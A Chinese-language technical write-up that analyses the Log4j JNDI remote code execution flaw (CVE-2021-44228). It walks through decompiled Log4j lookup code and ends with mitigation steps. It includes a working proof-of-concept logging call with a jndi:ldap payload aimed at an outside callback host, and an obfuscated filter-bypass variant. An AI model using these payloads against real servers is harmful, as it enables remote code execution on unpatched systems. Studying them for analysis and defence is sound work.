Apache Log4j 远程命令执行漏洞,CVE-2021-44228
通过jndi协议远程调用恶意类执行命令
影响范围
Apache Log4j 2.x <= 2.15.0-rc1 版本均受影响。
2.15.0-rc1默认不受影响,除非主动开了lookup相关开关
环境
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
poc
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Test {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.error("123 ${jndi:ldap://m29.xxx.dnslog.io:51212/} 456");
}
}
Apache Log4j 远程命令执行绕过payload,有些Log4j版本不受下面绕过的风险
${${qwe:a:-j}ndi:l${lower:D}ap://m27.dnslog.cn:51212/}
调试
我们直接进入关键函数org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
public void format(final LogEvent event, final StringBuilder toAppendTo) {
Message msg = event.getMessage();
if (msg instanceof StringBuilderFormattable) {
boolean doRender = this.textRenderer != null;
StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
int offset = workingBuilder.length();
if (msg instanceof MultiFormatStringBuilderFormattable) {
((MultiFormatStringBuilderFormattable)msg).formatTo(this.formats, workingBuilder);
} else {
((StringBuilderFormattable)msg).formatTo(workingBuilder);
}
if (this.config != null && !this.noLookups) {
for(int i = offset; i < workingBuilder.length() - 1; ++i) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
}
}
}
if (doRender) {
this.textRenderer.render(workingBuilder, toAppendTo);
}
} else {
if (msg != null) {
String result;
if (msg instanceof MultiformatMessage) {
result = ((MultiformatMessage)msg).getFormattedMessage(this.formats);
} else {
result = msg.getFormattedMessage();
}
if (result != null) {
toAppendTo.append(this.config != null && result.contains("${") ? this.config.getStrSubstitutor().replace(event, result) : result);
} else {
toAppendTo.append("null");
}
}
}
}
从函数中我们可以看到它会对 ‘{’ 和 ‘$’ 进行解析,接着进入org.apache.logging.log4j.core.lookup.StrSubstitutor#replace(org.apache.logging.log4j.core.LogEvent, java.lang.String)函数
public String replace(final LogEvent event, final String source) {
if (source == null) {
return null;
} else {
StringBuilder buf = new StringBuilder(source);
return !this.substitute(event, buf, 0, source.length()) ? source : buf.toString();
}
}
继续进入org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder, int, int, java.util.List<java.lang.String>),这个函数逻辑较为复杂,主要作用是递归处理日志输入,然后转换为对应的输出
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length, List<String> priorVariables) {
StrMatcher prefixMatcher = this.getVariablePrefixMatcher();
StrMatcher suffixMatcher = this.getVariableSuffixMatcher();
char escape = this.getEscapeChar();
StrMatcher valueDelimiterMatcher = this.getValueDelimiterMatcher();
boolean substitutionInVariablesEnabled = this.isEnableSubstitutionInVariables();
boolean top = priorVariables == null;
boolean altered = false;
int lengthChange = 0;
char[] chars = this.getChars(buf);
int bufEnd = offset + length;
int pos = offset;
while(true) {
label117:
while(pos < bufEnd) {
int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);
if (startMatchLen == 0) {
++pos;
} else if (pos > offset && chars[pos - 1] == escape) {
buf.deleteCharAt(pos - 1);
chars = this.getChars(buf);
--lengthChange;
altered = true;
--bufEnd;
} else {
int startPos = pos;
pos += startMatchLen;
int endMatchLen = false;
int nestedVarCount = 0;
while(true) {
while(true) {
if (pos >= bufEnd) {
continue label117;
}
int endMatchLen;
if (substitutionInVariablesEnabled && (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
++nestedVarCount;
pos += endMatchLen;
} else {
endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
if (endMatchLen == 0) {
++pos;
} else {
if (nestedVarCount == 0) {
String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
if (substitutionInVariablesEnabled) {
StringBuilder bufName = new StringBuilder(varNameExpr);
this.substitute(event, bufName, 0, bufName.length());
varNameExpr = bufName.toString();
}
pos += endMatchLen;
String varName = varNameExpr;
String varDefaultValue = null;
int i;
int valueDelimiterMatchLen;
if (valueDelimiterMatcher != null) {
char[] varNameExprChars = varNameExpr.toCharArray();
int valueDelimiterMatchLen = false;
label100:
for(i = 0; i < varNameExprChars.length && (substitutionInVariablesEnabled || prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) == 0); ++i) {
if (this.valueEscapeDelimiterMatcher != null) {
int matchLen = this.valueEscapeDelimiterMatcher.isMatch(varNameExprChars, i);
if (matchLen != 0) {
String varNamePrefix = varNameExpr.substring(0, i) + ':';
varName = varNamePrefix + varNameExpr.substring(i + matchLen - 1);
int j = i + matchLen;
while(true) {
if (j >= varNameExprChars.length) {
break label100;
}
if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, j)) != 0) {
varName = varNamePrefix + varNameExpr.substring(i + matchLen, j);
varDefaultValue = varNameExpr.substring(j + valueDelimiterMatchLen);
break label100;
}
++j;
}
}
if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
varName = varNameExpr.substring(0, i);
varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
break;
}
} else if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
varName = varNameExpr.substring(0, i);
varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
break;
}
}
}
if (priorVariables == null) {
priorVariables = new ArrayList();
((List)priorVariables).add(new String(chars, offset, length + lengthChange));
}
this.checkCyclicSubstitution(varName, (List)priorVariables);
((List)priorVariables).add(varName);
String varValue = this.resolveVariable(event, varName, buf, startPos, pos);
if (varValue == null) {
varValue = varDefaultValue;
}
if (varValue != null) {
valueDelimiterMatchLen = varValue.length();
buf.replace(startPos, pos, varValue);
altered = true;
i = this.substitute(event, buf, startPos, valueDelimiterMatchLen, (List)priorVariables);
i += valueDelimiterMatchLen - (pos - startPos);
pos += i;
bufEnd += i;
lengthChange += i;
chars = this.getChars(buf);
}
((List)priorVariables).remove(((List)priorVariables).size() - 1);
continue label117;
}
--nestedVarCount;
pos += endMatchLen;
}
}
}
}
}
}
if (top) {
return altered ? 1 : 0;
}
return lengthChange;
}
}
这里的关键函数是resolveVariable,我们看到我们的payload已经赋值给了varName
继续跟进org.apache.logging.log4j.core.lookup.StrSubstitutor#resolveVariable函数
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) {
StrLookup resolver = this.getVariableResolver();
return resolver == null ? null : resolver.lookup(event, variableName);
}
发现非常关键的lookup函数,继续跟进
public String lookup(final LogEvent event, String var) {
if (var == null) {
return null;
} else {
int prefixPos = var.indexOf(58);
if (prefixPos >= 0) {
String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
String name = var.substring(prefixPos + 1);
StrLookup lookup = (StrLookup)this.strLookupMap.get(prefix);
if (lookup instanceof ConfigurationAware) {
((ConfigurationAware)lookup).setConfiguration(this.configuration);
}
String value = null;
if (lookup != null) {
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
}
if (value != null) {
return value;
}
var = var.substring(prefixPos + 1);
}
if (this.defaultLookup != null) {
return event == null ? this.defaultLookup.lookup(var) : this.defaultLookup.lookup(event, var);
} else {
return null;
}
}
}
可以看到支持的lookup对象,所以我们还可以这样使用
logger.error("${java:runtime}");
这里传入的是jndi,所以本次调试会调用JndiLookup.lookup函数,最终通过jndiManager.lookup(jndiName)函数实现远调
public String lookup(final LogEvent event, final String key) {
if (key == null) {
return null;
} else {
String jndiName = this.convertJndiName(key);
try {
JndiManager jndiManager = JndiManager.getDefaultManager();
Throwable var5 = null;
String var6;
try {
var6 = Objects.toString(jndiManager.lookup(jndiName), (String)null);
} catch (Throwable var16) {
var5 = var16;
throw var16;
} finally {
if (jndiManager != null) {
if (var5 != null) {
try {
jndiManager.close();
} catch (Throwable var15) {
var5.addSuppressed(var15);
}
} else {
jndiManager.close();
}
}
}
return var6;
} catch (NamingException var18) {
LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, var18);
return null;
}
}
}
修改建议
升级至 2.15.0-rc2
在jvm参数中添加 -Dlog4j2.formatMsgNoLookups=true
系统环境变量中将FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true
建议JDK使用11.0.1、8u191、7u201、6u211及以上的高版本
创建“log4j2.component.properties”文件,文件中增加配置“log4j2.formatMsgNoLookups=true”
限制受影响应用对外访问互联网
WAF添加漏洞攻击代码临时拦截规则。